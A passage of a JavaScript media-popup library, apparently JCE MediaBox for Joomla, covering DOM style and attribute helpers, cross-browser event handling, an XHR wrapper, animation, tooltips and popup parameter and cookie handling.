             * @param {Object} s Style to set / get
             * @param {Object} v Value to set
             */
            style: function (n, na, v) {
                var isIE = JCEMediaBox.isIE, r, s;

                if (!n) {
                    return;
                }

                // Camelcase it, if needed
                na = na.replace(/-(\D)/g, function (a, b) {
                    return b.toUpperCase();
                });

                s = n.style;

                // Get value
                if (typeof v == 'undefined') {

                    if (na == 'float')
                        na = isIE ? 'styleFloat' : 'cssFloat';

                    r = s[na];

                    if (document.defaultView && !r) {
                        if (/float/i.test(na))
                            na = 'float';

                        // Remove camelcase
                        na = na.replace(/[A-Z]/g, function (a) {
                            return '-' + a;
                        }).toLowerCase();

                        try {
                            r = document.defaultView.getComputedStyle(n, null).getPropertyValue(na);
                        } catch (e) {
                        }
                    }

                    if (n.currentStyle && !r)
                        r = n.currentStyle[na];

                    return r;

                } else {

                    switch (na) {
                        case 'opacity':
                            v = parseFloat(v);
                            // IE specific opacity
                            if (isIE) {
                                s.filter = v === '' ? '' : "alpha(opacity=" + (v * 100) + ")";

                                if (!n.currentStyle || !n.currentStyle.hasLayout)
                                    s.display = 'inline-block';
                            }
                            s[na] = v;
                            break;
                        case 'float':
                            na = isIE ? 'styleFloat' : 'cssFloat';
                            break;
                        default:
                            if (v && /(margin|padding|width|height|top|bottom|left|right)/i.test(na)) {
                                // Add pixel value if number
                                v = /^[\-0-9\.]+$/.test(v) ? v + 'px' : v;
                            }
                            break;
                    }
                    s[na] = v;
                }
            },
            /**
             * Set styles
             * @param {Object} el Target Element
             * @param {Object} props Object of style key/values
             */
            styles: function (el, props) {
                var t = this;
                JCEMediaBox.each(props, function (v, s) {
                    return t.style(el, s, v);
                });

            },
            /**
             * Set an Element attribute
             * @param {Object} el
             * @param {Object} s
             * @param {Object} v
             */
            attribute: function (el, s, v) {
                if (typeof v == 'undefined') {
                    if (s == 'class') {
                        return el.className;
                    }
                    v = el.getAttribute(s);
                    // Remove anonymous function from events
                    if (v && /^on/.test(s)) {
                        v = v.toString();
                        v = v.replace(/^function\s+anonymous\(\)\s+\{\s+(.*)\s+\}$/, '$1');
                    }
                    // Fix Hspace
                    if (s == 'hspace' && v == -1) {
                        v = '';
                    }
                    return v;
                }
                // Remove attribute if no value
                if (v === '') {
                    el.removeAttribute(s);
                }

                switch (s) {
                    case 'style':
                        if (typeof v == 'object') {
                            this.styles(el, v);
                        } else {
                            el.style.cssText = v;
                        }
                        break;
                    case 'class':
                        el.className = v || '';
                        break;
                    default:
                        el.setAttribute(s, v);
                        break;
                }
            },
            /**
             * Set Attributes on an Element
             * @param {Object} el Target Element
             * @param {Object} attribs Attributes Object
             */
            attributes: function (el, attribs) {
                var t = this;
                JCEMediaBox.each(attribs, function (v, s) {
                    t.attribute(el, s, v);
                });

            },
            /**
             * Create an Element
             * @param {Object} el Element to create
             * @param {Object} attribs Attributes
             * @param {Object} styles Styles
             * @param {Object} html HTML
             */
            create: function (el, attribs, html) {
                var o = document.createElement(el);
                this.attributes(o, attribs);
                if (typeof html != 'undefined') {
                    o.innerHTML = html;
                }

                return o;
            },
            /**
             * Add an element to another
             * @param {Object} n Element to add to
             * @param {Object} o Element to add. Will be created if string
             * @param {Object} a Optional attributes
             * @param {Object} h Optional HTML
             */
            add: function (n, o, a, h) {
                if (typeof o == 'string') {
                    a = a || {};
                    o = this.create(o, a, h);
                }
                n.appendChild(o);

                return o;
            },
            /**
             * Add an element before the passed in element
             * @param {Object} n Element to insert into
             * @param {Object} o Element to insert
             * @param {Object} c Element to insert before
             */
            addBefore: function (n, o, c) {
                if (typeof c == 'undefined') {
                    c = n.firstChild;
                }
                n.insertBefore(o, c);
            },
            /**
             * IE6 PNG Fix
             * @param {Object} el Element to fix
             */
            png: function (el) {
                var s;
                // Image Elements
                if (el.nodeName == 'IMG') {
                    s = el.src;
                    if (/\.png$/i.test(s)) {
                        this.attribute(el, 'src', JCEMediaBox.site + 'plugins/system/jcemediabox/img/blank.gif');
                        this.style(el, 'filter', "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + s + "')");
                    }
                    // Background-image styles
                } else {
                    s = this.style(el, 'background-image');
                    if (/\.png/i.test(s)) {
                        var bg = /url\("(.*)"\)/.exec(s)[1];
                        this.styles(el, {
                            'background-image': 'none',
                            'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + bg + "', sizingMethod='image')"
                        });
                    }
                }
            },
            encode: function (s) {
                return ('' + s).replace(/[<>&\"\']/g, function (c) {
                    return entities[c] || c;
                });
            },
            decode: function (s) {
                var el;
                
                s = s.replace(/&lt;/g, '<').replace(/&gt;/g, '>');

                el = document.createElement("div");
                el.innerHTML = s;

                return el.innerHTML || s;
            }

        },
        /**
         * Event Functions
         */
        Event: {
            events: [],
            /**
             * Add an Event handler
             * @param {Object} o Target Element
             * @param {Object} n Event name
             * @param {Object} f Callback function
             * @param {Object} s Scope
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            add: function (o, n, f, s) {
                var t = this;

                // Setup event callback
                cb = function (e) {
                    // Is all events disabled
                    if (t.disabled)
                        return;

                    e = e || window.event;

                    // Patch in target, preventDefault and stopPropagation in IE it's W3C valid
                    if (e && JCEMediaBox.isIE) {
                        if (!e.target) {
                            e.target = e.srcElement || document;
                        }

                        if (!e.relatedTarget && e.fromElement) {
                            e.relatedTarget = e.fromElement == e.target ? e.toElement : e.fromElement;
                        }

                        // Patch in preventDefault, stopPropagation methods for W3C compatibility
                        JCEMediaBox.extend(e, {
                            preventDefault: function () {
                                this.returnValue = false;
                            },
                            stopPropagation: function () {
                                this.cancelBubble = true;
                            }

                        });
                    }
                    if (e && JCEMediaBox.isWebKit) {
                        if (e.target.nodeType == 3) {
                            e.target = e.target.parentNode;
                        }
                    }

                    if (!s)
                        return f(e);

                    return f.call(s, e);
                };

                // Internal function to add an event to an object
                function _add(o, n, f) {
                    if (o.attachEvent) {
                        o.attachEvent('on' + n, f);
                    } else if (o.addEventListener) {
                        o.addEventListener(n, f, false);
                    } else {
                        o['on' + n] = f;
                    }
                }

                t.events.push({
                    obj: o,
                    name: n,
                    func: f,
                    cfunc: cb,
                    scope: s
                });

                // Add event
                _add(o, n, cb);
            },
            /**
             * Removes the specified event handler by name and function from a element or collection of elements.
             *
             * @method remove
             * @param {String/Element/Array} o Element ID string or HTML element or an array of elements or ids to remove handler from.
             * @param {String} n Event handler name like for example: "click"
             * @param {function} f Function to remove.
             * @return {bool/Array} Bool state if true if the handler was removed or an array with states if multiple elements where passed in.
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            remove: function (o, n, f) {
                var t = this, a = t.events, s = false;

                JCEMediaBox.each(a, function (e, i) {
                    if (e.obj == o && e.name == n && (!f || (e.func == f || e.cfunc == f))) {
                        a.splice(i, 1);
                        t._remove(o, n, e.cfunc);
                        s = true;
                        return false;
                    }
                });

                return s;
            },
            /**
             * Internal function to remove an Event
             * @param {Object} o
             * @param {Object} n
             * @param {Object} f
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            _remove: function (o, n, f) {
                if (o) {
                    try {
                        if (o.detachEvent)
                            o.detachEvent('on' + n, f);
                        else if (o.removeEventListener)
                            o.removeEventListener(n, f, false);
                        else
                            o['on' + n] = null;
                    } catch (ex) {
                        // Might fail with permission denined on IE so we just ignore that
                    }
                }
            },
            /**
             * Cancels an event for both bubbeling and the default browser behavior.
             *
             * @method cancel
             * @param {Event} e Event object to cancel.
             * @return {Boolean} Always false.
             * @copyright Copyright 2009, Moxiecode Systems AB
             */
            cancel: function (e) {
                if (!e)
                    return false;

                this.stop(e);

                return this.prevent(e);
            },
            /**
             * Stops propogation/bubbeling of an event.
             *
             * @method stop
             * @param {Event} e Event to cancel bubbeling on.
             * @return {Boolean} Always false.
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            stop: function (e) {
                if (e.stopPropagation)
                    e.stopPropagation();
                else
                    e.cancelBubble = true;

                return false;
            },
            /**
             * Prevent default browser behvaior of an event.
             *
             * @method prevent
             * @param {Event} e Event to prevent default browser behvaior of an event.
             * @return {Boolean} Always false.
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            prevent: function (e) {
                if (e.preventDefault)
                    e.preventDefault();
                else
                    e.returnValue = false;

                return false;
            },
            /**
             * Destroys the instance.
             *
             * @method destroy
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            destroy: function () {
                var t = this;

                JCEMediaBox.each(t.events, function (e, i) {
                    t._remove(e.obj, e.name, e.cfunc);
                    e.obj = e.cfunc = null;
                });

                t.events = [];
                t = null;
            },
            /**
             * Adds an unload handler to the document. This handler will be executed when the document gets unloaded.
             * This method is useful for dealing with browser memory leaks where it might be vital to remove DOM references etc.
             *
             * @method addUnload
             * @param {function} f Function to execute before the document gets unloaded.
             * @param {Object} s Optional scope to execute the function in.
             * @return {function} Returns the specified unload handler function.
             * @copyright	Copyright 2009, Moxiecode Systems AB
             */
            addUnload: function (f, s) {
                var t = this;

                f = {
                    func: f,
                    scope: s || this
                };

                if (!t.unloads) {
                    function unload() {
                        var li = t.unloads, o, n;

                        if (li) {
                            // Call unload handlers
                            for (n in li) {
                                o = li[n];

                                if (o && o.func)
                                    o.func.call(o.scope, 1); // Send in one arg to distinct unload and user destroy
                            }

                            // Detach unload function
                            if (window.detachEvent) {
                                window.detachEvent('onbeforeunload', fakeUnload);
                                window.detachEvent('onunload', unload);
                            } else if (window.removeEventListener)
                                window.removeEventListener('unload', unload, false);

                            // Destroy references
                            t.unloads = o = li = w = unload = 0;

                            // Run garbarge collector on IE
                            if (window.CollectGarbage)
                                CollectGarbage();
                        }
                    }

                    function fakeUnload() {
                        var d = document;

                        // Is there things still loading, then do some magic
                        if (d.readyState == 'interactive') {
                            function stop() {
                                // Prevent memory leak
                                d.detachEvent('onstop', stop);

                                // Call unload handler
                                if (unload)
                                    unload();

                                d = 0;
                            }

                            // Fire unload when the currently loading page is stopped
                            if (d)
                                d.attachEvent('onstop', stop);

                            // Remove onstop listener after a while to prevent the unload function
                            // to execute if the user presses cancel in an onbeforeunload
                            // confirm dialog and then presses the browser stop button
                            window.setTimeout(function () {
                                if (d)
                                    d.detachEvent('onstop', stop);
                            }, 0);

                        }
                    }

                    // Attach unload handler
                    if (window.attachEvent) {
                        window.attachEvent('onunload', unload);
                        window.attachEvent('onbeforeunload', fakeUnload);
                    } else if (window.addEventListener)
                        window.addEventListener('unload', unload, false);

                    // Setup initial unload handler array
                    t.unloads = [f];
                } else
                    t.unloads.push(f);

                return f;
            },
            /**
             * Removes the specified function form the unload handler list.
             *
             * @method removeUnload
             * @param {function} f Function to remove from unload handler list.
             * @return {function} Removed function name or null if it wasn't found.
             */
            removeUnload: function (f) {
                var u = this.unloads, r = null;

                JCEMediaBox.each(u, function (o, i) {
                    if (o && o.func == f) {
                        u.splice(i, 1);
                        r = f;
                        return false;
                    }
                });

                return r;
            }

        },
        Dimensions: {
            /**
             * Get client window width
             */
            getWidth: function () {
                return window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth || 0;
            },
            /**
             * Get client window height
             */
            getHeight: function () {
                if (JCEMediaBox.isiOS || JCEMediaBox.isAndroid) {
                    var zoomLevel = document.documentElement.clientWidth / window.innerWidth;
                    return window.innerHeight * zoomLevel;
                }

                return window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight || 0;
            },
            /**
             * Get client window scroll height
             */
            getScrollHeight: function () {
                return document.documentElement.scrollHeight || document.body.scrollHeight || 0;
            },
            /**
             * Get client window scroll width
             */
            getScrollWidth: function () {
                return document.documentElement.scrollWidth || document.body.scrollWidth || 0;
            },
            /**
             * Get client window scroll top
             */
            getScrollTop: function () {
                return window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0;
            },
            /**
             * Get the page scrollbar width
             */
            getScrollbarWidth: function () {
                var DOM = JCEMediaBox.DOM;

                if (this.scrollbarWidth) {
                    return this.scrollbarWidth;
                }

                var outer = DOM.add(document.body, 'div', {
                    'style': {
                        position: 'absolute',
                        visibility: 'hidden',
                        width: 200,
                        height: 200,
                        border: 0,
                        margin: 0,
                        padding: 0,
                        overflow: 'hidden'
                    }
                });

                var inner = DOM.add(outer, 'div', {
                    'style': {
                        width: '100%',
                        height: 200,
                        border: 0,
                        margin: 0,
                        padding: 0
                    }
                });

                var w1 = parseInt(inner.offsetWidth);
                outer.style.overflow = 'scroll';
                var w2 = parseInt(inner.offsetWidth);
                if (w1 == w2) {
                    w2 = parseInt(outer.clientWidth);
                }
                document.body.removeChild(outer);
                this.scrollbarWidth = (w1 - w2);

                return this.scrollbarWidth;
            },
            /**
             * Get the outerwidth of an element
             * @param {Object} n Element
             */
            outerWidth: function (n) {
                var v = 0, x = 0;

                x = n.offsetWidth;

                if (!x) {
                    JCEMediaBox.each(['padding-left', 'padding-right', 'border-left', 'border-right', 'width'], function (s) {
                        v = parseFloat(JCEMediaBox.DOM.style(n, s));
                        v = /[0-9]/.test(v) ? v : 0;

                        x = x + v;
                    });

                }
                return x;
            },
            /**
             * Get the outerheight of an Element
             * @param {Object} n Element
             */
            outerHeight: function (n) {
                var v = 0, x = 0;

                x = n.offsetHeight;

                if (!x) {
                    JCEMediaBox.each(['padding-top', 'padding-bottom', 'border-top', 'border-bottom', 'height'], function (s) {
                        v = parseFloat(JCEMediaBox.DOM.style(n, s));
                        v = /[0-9]/.test(v) ? v : 0;
                        x = x + v;
                    });

                }
                return x;
            }

        },
        /**
         * FX Functions
         * @param {Object} t
         * @param {Object} b
         * @param {Object} c
         * @param {Object} d
         */
        FX: {
            animate: function (el, props, speed, cb) {
                var DOM = JCEMediaBox.DOM;
                var options = {
                    speed: speed || 100,
                    callback: cb ||
                            function () {
                            }

                };

                var styles = {}, sv;

                JCEMediaBox.each(props, function (v, s) {
                    // Find start value
                    sv = parseFloat(DOM.style(el, s));
                    styles[s] = [sv, v];
                });

                new JCEMediaBox.fx(el, options).custom(styles);
                return true;
            }

        }
    };

    /**
     * XHR Functions
     * Based on XHR.js (Mootools) and XHR.js (TinyMCE)
     * Copyright 2009, Moxiecode Systems AB, <http://tinymce.moxiecode.com>
     * copyright (c) 2007 Valerio Proietti, <http://mad4milk.net>
     */
    JCEMediaBox.XHR = function (options, scope) {
        this.options = {
            //method: 'GET',
            async: true,
            headers: {
                //'User-Agent' 		: 'XMLHTTP/1.0',
                'X-Requested-With': 'XMLHttpRequest',
                'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
            },
            data: null,
            encoding: 'UTF-8',
            success: function () {
            },
            error: function () {
            }

        };
        // Set options
        JCEMediaBox.extend(this.options, options);
        // optional scope for callback functions
        this.scope = scope || this;
    };

    JCEMediaBox.XHR.prototype = {
        /**
         * Set transport method
         */
        setTransport: function () {
            function get(s) {
                var x = 0;

                try {
                    x = new ActiveXObject(s);
                } catch (ex) {
                }

                return x;
            }

            this.transport = window.XMLHttpRequest ? new XMLHttpRequest() : get('Microsoft.XMLHTTP') || get('Msxml2.XMLHTTP');
        },
        /**
         * Process return
         */
        onStateChange: function () {
            if (this.transport.readyState != 4 || !this.running) {
                return;
            }

            this.running = false;

            if ((this.transport.status >= 200) && (this.transport.status < 300)) {
                var s = this.transport.responseText;
                var x = this.transport.responseXML;

                this.options.success.call(this.scope, s, x);
            } else {
                this.options.error.call(this.scope, this.transport, this.options);
            }
            // Clean up
            this.transport.onreadystatechange = function () {
            };

            this.transport = null;
        },
        /**
         * Send request
         * @param {Object} url URL
         * @param {Object} options Request options
         * @param {Object} s Scope
         */
        send: function (url) {
            var t = this, extend = JCEMediaBox.extend;
            if (this.running) {
                return this;
            }
            this.running = true;
            // Set request transport method
            this.setTransport();
            // store request method as uppercase (GET|POST)
            var method = this.options.data ? 'POST' : 'GET';

            // set encoding
            var encoding = (this.options.encoding) ? '; charset=' + this.options.encoding.toUpperCase() : '';

            // Set standard GET header
            var contentType = {
                'Content-type': 'text/html' + encoding
            };

            // Set URL Encoded / POST header options
            if (this.options.data) {
                contentType = {
                    'Content-type': 'application/x-www-form-urlencoded' + encoding
                };
            }

            extend(this.options.headers, contentType);

            // Open transport
            this.transport.open(method, url, this.options.async);
            // Set readystatechange function
            this.transport.onreadystatechange = function () {
                return t.onStateChange();
            };

            /*if (method == 'POST' && this.transport.overrideMimeType) {
             extend(this.options.headers, {
             'Connection': 'close'
             });
             }*/
            // set headers
            for (var type in this.options.headers) {
                try {
                    this.transport.setRequestHeader(type, this.options.headers[type]);
                } catch (e) {
                }
            }
            // send request
            this.transport.send(this.options.data);
        }

    }, /**
     * Core Fx Functions
     * @param {Object} el Element to animate
     * @param {Object} props A set of styles to animate
     * @param {String} speed Speed of animation in milliseconds
     * @param {Object} cb Optional Callback when the animation finishes
     */
    JCEMediaBox.fx = function (el, options) {
        this.element = el;
        this.callback = options.callback;
        this.speed = options.speed;
        this.wait = true;
        this.fps = 50;
        this.now = {};
    };

    /**
     * Based on Moo.Fx.Base and Moo.Fx.Styles
     * @copyright (c) 2006 Valerio Proietti (http://mad4milk.net). MIT-style license.
     */
    JCEMediaBox.fx.prototype = {
        step: function () {
            var time = new Date().getTime();
            if (time < this.time + this.speed) {
                this.cTime = time - this.time;
                this.setNow();

            } else {
                var t = this;
                this.clearTimer();
                this.now = this.to;

                setTimeout(function () {
                    t.callback.call(t.element, t);
                }, 10);

            }
            this.increase();
        },
        setNow: function () {
            var p;

            for (p in this.from) {
                this.now[p] = this.compute(this.from[p], this.to[p]);
            }
        },
        compute: function (from, to) {
            var change = to - from;
            return this.transition(this.cTime, from, change, this.speed);
        },
        clearTimer: function () {
            clearInterval(this.timer);
            this.timer = null;
            return this;
        },
        start: function (from, to) {
            var t = this;
            if (!this.wait)
                this.clearTimer();

            if (this.timer)
                return;

            this.from = from;
            this.to = to;
            this.time = new Date().getTime();
            this.timer = setInterval(function () {
                return t.step();
            }, Math.round(1000 / this.fps));

            return this;
        },
        custom: function (o) {
            if (this.timer && this.wait)
                return;
            var from = {}, to = {}, property;

            for (property in o) {
                from[property] = o[property][0];
                to[property] = o[property][1];
            }
            return this.start(from, to);
        },
        increase: function () {
            for (var p in this.now) {
                this.setStyle(this.element, p, this.now[p]);
            }
        },
        transition: function (t, b, c, d) {
            return -c * Math.cos(t / d * (Math.PI / 2)) + c + b;
        },
        setStyle: function (e, p, v) {
            JCEMediaBox.DOM.style(e, p, v);
        }

    },
    /**
     * Core Tooltip Object
     * Create and display tooltips
     * Based on Mootools Tips Class
     * copyright (c) 2007 Valerio Proietti, <http://mad4milk.net>
     */
    JCEMediaBox.ToolTip = {
        /**
         * Initialise the tooltip
         * @param {Object} elements
         * @param {Object} options
         */
        init: function () {
            var t = this;

            // Load tooltip theme
            var theme = JCEMediaBox.options.theme == 'custom' ? JCEMediaBox.options.themecustom : JCEMediaBox.options.theme;

            this.tooltiptheme = '';

            new JCEMediaBox.XHR({
                success: function (text, xml) {
                    var re = /<!-- THEME START -->([\s\S]*?)<!-- THEME END -->/;
                    if (re.test(text)) {
                        text = re.exec(text)[1];
                    }
                    t.tooltiptheme = text;

                    t.create();
                }

            }).send(JCEMediaBox.site + JCEMediaBox.options.themepath + '/' + theme + '/tooltip.html');
        },
        /**
         * Create tooltips in the cuurent document or node
         * @param o Option parent node, defaults to document
         */
        create: function (o) {
            var t = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, Event = JCEMediaBox.Event;

            /**
             * Private internal function to exclude children of element in event
             * @param {Object} el 	Element with event
             * @param {Object} e 	Event object
             * @param {Object} fn 	Callback function
             */
            function _withinElement(el, e, fn) {
                // Get target
                var p = e.relatedTarget;
                // If element is not target and target not within element...
                while (p && p != el) {
                    try {
                        p = p.parentNode;
                    } catch (e) {
                        p = el;
                    }
                }

                if (p != el) {
                    return fn.call(this);
                }
                return false;
            }

            // Add events to each found tooltip element
            each(DOM.select('.jcetooltip, .jce_tooltip', o), function (el) {
                // store away title
                DOM.attribute(el, 'data-title', el.title);
                DOM.remove(el, 'title');

                var n = el;

                // set event element as parent if popup icon
                if (el.nodeName == 'IMG' && el.parentNode.className == 'jcemediabox-zoom-span') {
                    n = el.parentNode;
                }

                Event.add(n, 'mouseover', function (e) {
                    _withinElement(el, e, function () {
                        return t.start(el);
                    });

                });

                Event.add(n, 'mouseout', function (e) {
                    _withinElement(el, e, function () {
                        return t.end(el);
                    });

                });

                Event.add(n, 'mousemove', function (e) {
                    return t.locate(e);
                });

            });

        },
        /**
         * Create the tooltip div
         */
        build: function () {
            if (!this.toolTip) {
                var DOM = JCEMediaBox.DOM;
                this.toolTip = DOM.add(document.body, 'div', {
                    'style': {
                        'opacity': 0
                    },
                    'class': 'jcemediabox-tooltip'
                }, this.tooltiptheme);
                if (JCEMediaBox.isIE6) {
                    DOM.addClass(this.toolTip, 'ie6');
                }
            }
        },
        /**
         * Show the tooltip and build the tooltip text
         * @param {Object} e  Event
         * @param {Object} el Target Element
         */
        start: function (el) {
            var t = this, DOM = JCEMediaBox.DOM;
            if (!this.tooltiptheme)
                return false;
            // Create tooltip if it doesn't exist
            this.build();

            // Get tooltip text from title
            var text = DOM.attribute(el, 'data-title') || '', title = '';

            // Split tooltip text ie: title::text
            if (/::/.test(text)) {
                var parts = text.split('::');
                title = JCEMediaBox.trim(parts[0]);
                text = JCEMediaBox.trim(parts[1]);
            }

            var h = '';
            // Set tooltip title html
            if (title) {
                h += '<h4>' + title + '</h4>';
            }
            // Set tooltip text html
            if (text) {
                h += '<p>' + text + '</p>';
            }

            // Set tooltip html
            var tn = DOM.get('jcemediabox-tooltip-text');
            // Use simple tooltip
            if (typeof tn == 'undefined') {
                this.toolTip.className = 'jcemediabox-tooltip-simple';
                this.toolTip.innerHTML = h;
            } else {
                tn.innerHTML = h;
            }
            // Set visible
            DOM.style(t.toolTip, 'visibility', 'visible');
            // Fade in tooltip
            JCEMediaBox.FX.animate(t.toolTip, {
                'opacity': JCEMediaBox.options.tooltip.opacity
            }, JCEMediaBox.options.tooltip.speed);
        },
        /**
         * Fade Out and hide the tooltip
         * Restore the original element title
         * @param {Object} el Element
         */
        end: function (el) {
            if (!this.tooltiptheme)
                return false;

            // Fade out tooltip and hide

            JCEMediaBox.DOM.styles(this.toolTip, {
                'visibility': 'hidden',
                'opacity': 0
            });
        },
        /**
         * Position the tooltip
         * @param {Object} e Event trigger
         */
        locate: function (e) {
            if (!this.tooltiptheme)
                return false;

            this.build();

            var o = JCEMediaBox.options.tooltip.offsets;
            var page = {
                'x': e.pageX || e.clientX + document.documentElement.scrollLeft,
                'y': e.pageY || e.clientY + document.documentElement.scrollTop
            };
            var tip = {
                'x': this.toolTip.offsetWidth,
                'y': this.toolTip.offsetHeight
            };
            var pos = {
                'x': page.x + o.x,
                'y': page.y + o.y
            };

            var ah = 0;

            switch (JCEMediaBox.options.tooltip.position) {
                case 'tl':
                    pos.x = (page.x - tip.x) - o.x;
                    pos.y = (page.y - tip.y) - (ah + o.y);
                    break;
                case 'tr':
                    pos.x = page.x + o.x;
                    pos.y = (page.y - tip.y) - (ah + o.y);
                    break;
                case 'tc':
                    pos.x = (page.x - Math.round((tip.x / 2))) + o.x;
                    pos.y = (page.y - tip.y) - (ah + o.y);
                    break;
                case 'bl':
                    pos.x = (page.x - tip.x) - o.x;
                    pos.y = (page.y + Math.round((tip.y / 2))) - (ah + o.y);
                    break;
                case 'br':
                    pos.x = page.x + o.x;
                    pos.y = page.y + o.y;
                    break;
                case 'bc':
                    pos.x = (page.x - (tip.x / 2)) + o.x;
                    pos.y = page.y + ah + o.y;
                    break;
            }
            JCEMediaBox.DOM.styles(this.toolTip, {
                top: pos.y,
                left: pos.x
            });
        },
        /**
         * Position the tooltip
         * @param {Object} element
         */
        position: function (element) {
        }

    },
    /**
     * Core Popup Object
     * Creates and displays a media popup
     */
    JCEMediaBox.Popup = {
        /**
         * List of default addon media types
         */
        addons: {
            'flash': {},
            'image': {},
            'iframe': {},
            'html': {},
            'pdf': {}
        },
        /**
         * Extend the addons object with a new addon
         * @param {String} n Addon name
         * @param {Object} o Addon object
         */
        setAddons: function (n, o) {
            JCEMediaBox.extend(this.addons[n], o);
        },
        /**
         * Return an addon object by name or all addons
         * @param {String} n Addon name
         */
        getAddons: function (n) {
            if (n) {
                return this.addons[n];
            }
            return this.addons;
        },
        /**
         * Get / Test an addon object
         * @param {Object} v
         * @param {Object} n
         */
        getAddon: function (v, n) {
            var cp = false, r, each = JCEMediaBox.each;

            addons = this.getAddons(n);

            each(this.addons, function (o, s) {
                each(o, function (fn) {
                    r = fn.call(this, v);
                    if (typeof r != 'undefined') {
                        cp = r;
                    }
                });

            });

            return cp;
        },
        /**
         * Clean an event removing anonymous function etc.
         * @param {String} s Event content
         * Copyright 2009, Moxiecode Systems AB
         */
        cleanEvent: function (s) {
            return s.replace(/^function\s+anonymous\(\)\s+\{\s+(.*)\s+\}$/, '$1');
        },
        /**
         * Create an object from a well formed JSON string
         * @param {String} data JSON String
         * @return {Object}
         * Logic borrowed from JQuery
         * http://jquery.com/
         * Copyright 2010, John Resig
         */
        parseJSON: function (data) {
            if (typeof data !== "string" || !data) {
                return null;
            }

            if (/^[\],:{}\s]*$/
                    .test(data.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
                            .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
                            .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
                // Try to use the native JSON parser first
                return window.JSON && window.JSON.parse ?
                        window.JSON.parse(data) :
                        (new Function("return " + data))();
            }
        },
        /**
         * Get a popup parameter object
         * @param {String} s Parameter string
         */
        params: function (s) {
            var a = [], x = [], self = this, DOM = JCEMediaBox.DOM;

            function trim(s) {
                return s = s.replace(/^\s+/, '').replace(/\s+$/, '');
            }

            if (typeof s == 'string') {
                // if a JSON string return the object
                if (/^\{[\w\W]+\}$/.test(s)) {
                    return this.parseJSON(s);
                }

                // JCE MediaBox parameter format eg: title[title]
                if (/\w+\[[^\]]+\]/.test(s)) {
                    s = s.replace(/([\w]+)\[([^\]]+)\](;)?/g, function (a, b, c, d) {

                        return '"' + b + '":"' + DOM.encode(trim(c)) + '"' + (d ? ',' : '');
                    });

                    return this.parseJSON('{' + s + '}');
                }

                // if url
                if (s.indexOf('&') != -1) {
                    x = s.split(/&(amp;)?/g);
                } else {
                    x.push(s);
                }
            }

            // if array
            if (typeof s == 'object' && s instanceof Array) {
                x = s;
            }

            JCEMediaBox.each(x, function (n, i) {
                if (n) {
                    n = n.replace(/^([^\[]+)(\[|=|:)([^\]]*)(\]?)$/, function (a, b, c, d) {
                        if (d) {
                            if (!/[^0-9]/.test(d)) {
                                return '"' + b + '":' + parseInt(d);
                            }

                            return '"' + b + '":"' + DOM.encode(trim(d)) + '"';
                        }
                        return '';
                    });

                    if (n) {
                        a.push(n);
                    }
                }
            });

            return this.parseJSON('{' + a.join(',') + '}');
        },
        /**
         * Gets the raw data of a cookie by name.
         * Copyright 2009, Moxiecode Systems AB
         *
         * @method get
         * @param {String} n Name of cookie to retrive.
         * @return {String} Cookie data string.
         */
        getCookie: function (n) {
            var c = document.cookie, e, p = n + "=", b;

            // Strict mode
            if (!c)
                return;

            b = c.indexOf("; " + p);

            if (b == -1) {
                b = c.indexOf(p);

                if (b != 0)
                    return null;
            } else {
                b += 2;
            }

            e = c.indexOf(";", b);

            if (e == -1)
                e = c.length;

            return unescape(c.substring(b + p.length, e));
        },
        /**
         * Sets a raw cookie string.
         * Copyright 2009, Moxiecode Systems AB
         *
         * @method set
         * @param {String} n Name of the cookie.
         * @param {String} v Raw cookie data.
         * @param {Date} e Optional date object for the expiration of the cookie.
         * @param {String} p Optional path to restrict the cookie to.
         * @param {String} d Optional domain to restrict the cookie to.
         * @param {String} s Is the cookie secure or not.
         */
        setCookie: function (n, v, e, p, d, s) {
            document.cookie = n + "=" + escape(v) +
                    ((e) ? "; expires=" + e.toGMTString() : "") +
                    ((p) ? "; path=" + escape(p) : "") +
                    ((d) ? "; domain=" + d : "") +
                    ((s) ? "; secure" : "");
        },
        /**
         * Convert legacy popups to new format
         */
        convertLegacy: function () {
            var self = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM;
            each(DOM.select('a[href]'), function (el) {

                // Only JCE Popup links
                if (/com_jce/.test(el.href)) {
                    var p, s, img;
                    var oc = DOM.attribute(el, 'onclick');
                    if (oc) {
                        s = oc.replace(/&#39;/g, "'").split("'");
                        p = self.params(s[1]);

                        var img = p.img || '';
                        var title = p.title || '';
                    }

                    if (img) {
                        if (!/http:\/\//.test(img)) {
                            if (img.charAt(0) == '/') {
                                img = img.substr(1);
                            }
                            img = JCEMediaBox.site.replace(/http:\/\/([^\/]+)/, '') + img;
                        }

                        DOM.attributes(el, {
                            'href': img,
                            'title': title.replace(/_/, ' '),
                            'onclick': ''
                        });

                        DOM.addClass(el, 'jcepopup');
                    }
                }
            });

        },
        /**
         * Convert lightbox popups to MediaBox
         */
        convertLightbox: function () {
            var each = JCEMediaBox.each, DOM = JCEMediaBox.DOM;
            each(DOM.select('a[rel*=lightbox]'), function (el) {
                DOM.addClass(el, 'jcepopup');
                r = el.rel.replace(/lightbox\[?([^\]]*)\]?/, function (a, b) {
                    if (b) {
                        return 'group[' + b + ']';
                    }
                    return '';
                });

                DOM.attribute(el, 'rel', r);
            });

        },
        /**
         * Convert shadowbox popups to MediaBox
         */
        convertShadowbox: function () {
            var each = JCEMediaBox.each, DOM = JCEMediaBox.DOM;
            each(DOM.select('a[rel*=shadowbox]'), function (el) {
                DOM.addClass(el, 'jcepopup');
                r = el.rel.replace(/shadowbox\[?([^\]]*)\]?/, function (a, b) {
                    var attribs = '', group = '';
                    // group
                    if (b) {
                        group = 'group[' + b + ']';
                    }
                    // attributes
